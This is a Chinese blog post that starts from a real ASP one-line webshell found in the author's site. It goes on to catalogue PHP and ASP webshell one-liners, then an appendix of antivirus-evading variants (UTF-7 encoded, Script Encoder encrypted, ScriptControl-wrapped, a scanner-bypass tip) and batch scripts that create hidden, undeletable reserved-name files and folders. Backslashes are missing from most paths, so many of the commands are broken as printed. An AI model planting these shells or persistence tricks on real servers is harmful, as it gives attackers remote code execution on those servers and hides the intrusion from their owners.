另类一句话木马与系统设备保留字特殊文件名的创建删除

目录
[隐藏]

近日志文工作室被上传了asp木马程序,因此还被菜鸟小黑加QQ嘲弄一番,感觉很是诧异。通过排查,原来是不知何时(至少在半年前了),博客目录下的一文件末尾被插入了asp一句话木马代码,如下示:

if request(chr(35))<>"" then ExecuteGlobal request(chr(35)) end if

一句话木马

那么,这个所谓的“一句话”有什么作用呢?

通过它,我们可以以post小型木马程序代码的方式访问该文件,由ExecuteGlobal执行该代码,从而在服务器上生成小木马程序。通过小木马程序,可以再执行其相关功能,上传生成功能齐全的大型木马。此时就可以操控很大一部分的服务器权限了。如果服务器上的安全做的不够,比如internet来宾账户的权限足够大,那么服务器提权获取shell就成为很容易了。

php一句话木马

对于php程序也有类似的一句话,而相关原理也是类似的。
例如:

1、构造正则内容替换post数据

$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$hh("/[discuz]/e",$_POST['code'],"Access");

2、通过include嵌入get内容源码

$filename=$_GET['xbid'];
include ($filename);

3、eval_r函数执行psot数据
 

<?php eval_r($_POST)?>

4、服务器端脚本调用eval_r函数执行post数据
 

<script language="php">@eval_r($_POST)</script>

5、//危险的include函数,直接编译任何文件为php格式运行,POST www.lzw.me/index.php?uid=/home/www/bbs/image.gif

include ($uid);

另类特殊文件无法删除:系统设备名保留字文件的创建和删除

此外还有个问题,就是该木马以系统设备名作前缀命名(prn.*.asp),并且设置了系统文件属性(RHSA),因此导致该文件无法直接删除。

既然asp木马获取了部分执行权限,通过webshell的cmd命令执行方式,很容易生成一个这样的文件。

那么如何理解这个文件呢?

其实这是以系统保留字命名的文件,标准界面下无法直接创建和删除,但是在cmd命令下,可以以POSIX风格命令来创建和删除。

NTFS格式磁盘支持POSIX子系统,在该子系统下一些形如prn的文件名是有效的,操作系统假定该程序可以对它们进行创建和删除操作。因此,我们可以在POSIX子系统理使用本地命令。

常见的系统保留字有这些(Con, Prn, Aux, Nul, Lpt1, Lpt2, Com1, Com2),一般它们是作为设备名使用的。

例如,我们可以通过如下方法重现该文件的产生过程:

首先进入cmd命令行下(win+r输入cmd),执行命令:
在d:test文件夹下建立了文件prn.qIn.asp,内容为asp cockhorse code

echo asp cockhorse code> \.d:testprn.qIn.asp

用记事本或其他编辑器编辑该文件:

notepad \.d:testprn.qIn.asp

设置系统、隐藏等属性:
 

attrib +r +a +s +h \.d:testprn.qIn.asp

删除该文件:
 

del /a/f/q \.d:testprn.qIn.asp

对于该类文件的删除,我们也可以使用如下方式:

DEL /F /A /Q \?%1
RD /S /Q \?%1

新建一个批处理文件,内容如上,然后将要删除的文件拖放到其名称上面即可。具体也可参考该文章:
超强批处理删除任意文件和文件夹:http://lzw.me/Category/Tech/334.html

附录:

1. 另类免杀一句话asp木马

http://blog.atimg.com/?p=2026

<%execute request(“#”)%>

<%execute request(chr(35))%>

<script language=VBScript runat=server>if request(chr(35))<>”"”" then
ExecuteGlobal request(chr(35))
</script>

<%ExecuteGlobal request(chr(35))%>

<%eval request(“#”)%>

上面的是正常的SHELL,下面是变形的,

utf-7的马
 

<%@ codepage=65000%>
<% response.Charset=”936″%>
<%e+j-x+j-e+j-c+j-u+j-t+j-e+j-(+j-r+j-e+j-q+j-u+j-e+j-s+j-t+j-(+j-+ACI-#+ACI)+j-)+j-%>

用include包含一个图片,图片最好是通过copy /b a.jpg+b.asp+c.jpg d.jpg生成出来的
要绕过lake2的话,用几个变量加常量的方法定义图片名再包含就可以了
 

<%set ms = server.CreateObject(“MSScriptControl.ScriptControl.1″)
ms.Language=”VBScript”
ms.AddObject “Response”, Response
ms.AddObject “request”, request
ms.AddObject “session”, session
ms.AddObject “server”, server
ms.AddObject “application”, application
ms.ExecuteStatement (“ex”&”ecute(request(chr(35)))”)%>

Script Encoder 加密
 

<%@ LANGUAGE = VBScript.Encode %>
%#@~^PgAAAA==r6P. ;!+/D`14Dv&X#*@!@*ErPPD4+ P2Xn^ED+VVG4Cs,Dn;!n/D`^4M`&Xb*oBMAAA==^#~@%

另类的,利用windows的目录漏洞,建立..目录里面放一句话
 

Set fso=Server.CreateObject(“Scripting.FileSystemObject”)
path=server.mappath(“/”)
Set f = fso.CreateFolder(path&”index..”)
Set a = fso.CreateTextFile(path&”index..1.asp”, True)
a.WriteLine”<script language=VBScript runat=server>if request(“”&pass&”")<>”"”" then”
a.WriteLine”response.clear”
a.WriteLine”Execute request(chr(35))”
a.WriteLine”response.end”
a.WriteLine”end if”
a.WriteLine”</script>”

复制创建特殊文件

<%
dim fs,f
set fs=Server.CreateObject("Scripting.FileSystemObject")
set f=fs.GetFile("D:webaspmumado.asp")
f.Copy "D:webaspmumacom8.do.asp",false
set f=nothing
set fs=nothing
%>

2. 批处理创建、访问、重命名、删除畸形文件/文件夹

【方案一】以点结尾的文件夹

代码:

rem 创建以点结尾的文件夹
md "C:test"
md "C:testbatcher.."

代码:

rem 把以点结尾的文件夹重命名为普通文件夹
rem 短文件名可以使用dir/x命令获得
ren "C:testBATCHE~1" "batcher"

代码:

rem 把普通文件夹重命名为以点结尾的文件夹
ren "C:testbatcher" "batcher../"

代码:

rem 打开以点结尾的文件夹
start "" "C:testbatcher.."

代码:

rem 进入以点结尾的文件夹
rem 短文件名可以使用dir/x命令获得
cd "C:testNEW~1"

代码:

rem 向以点结尾的文件夹中复制文件
copy "C:testa.txt" "C:testbatcher.."

代码:

rem 删除以点结尾的文件夹中的文件
rem 短文件名可以使用dir/x命令获得
del /a /f /q "C:testNEW~1a.txt"

代码:

rem 修改以点结尾的文件的属性为“隐藏”
@echo off
set DstFile=C:testbatcher>"%temp%FileProperty.vbs"
echo Set objFSO = CreateObject("Scripting.FileSystemObject").GetFile("")>>"%temp%FileProperty.vbs"
echo objFSO.Attributes=objFSO.Attributes+2>>"%temp%FileProperty.vbs"
cscript /nologo "%temp%FileProperty.vbs"

代码:

rem 删除以点结尾的文件夹
rd /s /q "C:testbatcher.."
 

【方案二】以空格结尾的文件夹
 

基本操作与方案一大致相同,此处不再赘述。

【方案三】系统保留字文件夹(Con, Prn, Aux, Nul, Lpt1, Com1, Com2)

代码:

rem 创建系统保留字文件夹
md "C:testbatcher"
md "C:testbatchercon"

代码:

rem 打开系统保留字文件夹
start "" "C:testbatchercon"

代码:

rem 向系统保留字文件夹中复制文件
copy "C:testbatchera.txt" "C:testbatchercon"
 

代码:
 

rem 删除系统保留字文件夹中的文件
del /a /f /q "C:testbatchercona.txt"

代码:

rem 删除系统保留字文件夹
rd /s /q "C:testbatchercon"

【方案四】特殊字符文件夹(, /, :, *, ?, ", <, >, |)

代码:

rem 创建特殊字符文件夹
@echo off
set "DstFolder=C:testbatcherA"
if exist "%DstFolder%" (
   echo 文件夹%DstFolder%已存在
   goto :eof
)
md "%DstFolder%"
>"%DstFolder%desktop.ini" echo [.ShellClassInfo]
>>"%DstFolder%desktop.ini" echo LocalizedResourceName=BatHome,-1
attrib +s +h "%DstFolder%desktop.ini"
>%temp%UnlockReg.txt echo HKEY_CURRENT_USERSoftwareMicrosoftWindowsShellLocalizedResourceName [9]
regini %temp%UnlockReg.txt
>%temp%LockReg.txt echo HKEY_CURRENT_USERSoftwareMicrosoftWindowsShellLocalizedResourceName [8]
>>%temp%LockReg.txt   echo "BatHome,-1" = REG_SZ "|"
regini %temp%LockReg.txt
attrib +s "%DstFolder%"

代码:

rem 创建无法直接删除的特殊字符文件夹
@echo off
set "DstFolder=C:testbatcherB"
if exist "%DstFolder%" (
   rem echo y|cacls "\?%DstFolder%nul" /g everyone:f
   rem attrib -r -a -s -h "\?%DstFolder%nul"
   rem del /a /f /q "\?%DstFolder%nul"
   echo 文件夹%DstFolder%已存在
   goto :eof
)
md "%DstFolder%"
>"%DstFolder%desktop.ini" echo [.ShellClassInfo]
>>"%DstFolder%desktop.ini" echo LocalizedResourceName=BatHome,-1
attrib +s +h "%DstFolder%desktop.ini"
>"\?%DstFolder%nul" echo.
attrib +s +h "%DstFolder%desktop.ini"
>%temp%UnlockReg.txt echo HKEY_CURRENT_USERSoftwareMicrosoftWindowsShellLocalizedResourceName [9]
regini %temp%UnlockReg.txt
>%temp%LockReg.txt echo HKEY_CURRENT_USERSoftwareMicrosoftWindowsShellLocalizedResourceName [8]
>>%temp%LockReg.txt   echo "BatHome,-1" = REG_SZ "|"
regini %temp%LockReg.txt
attrib +r +a +s +h "\?%DstFolder%nul"
echo y|cacls "\?%DstFolder%nul" /d everyone>nul
attrib +s +r "%DstFolder%"

点赞 (0)
  1. in1874说道:

    这年头最怕木马了,都不敢乱下载网上的主题了·!

  2. 古诗词说道:

    z这个好可怕,木马要杀完。

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

Captcha Code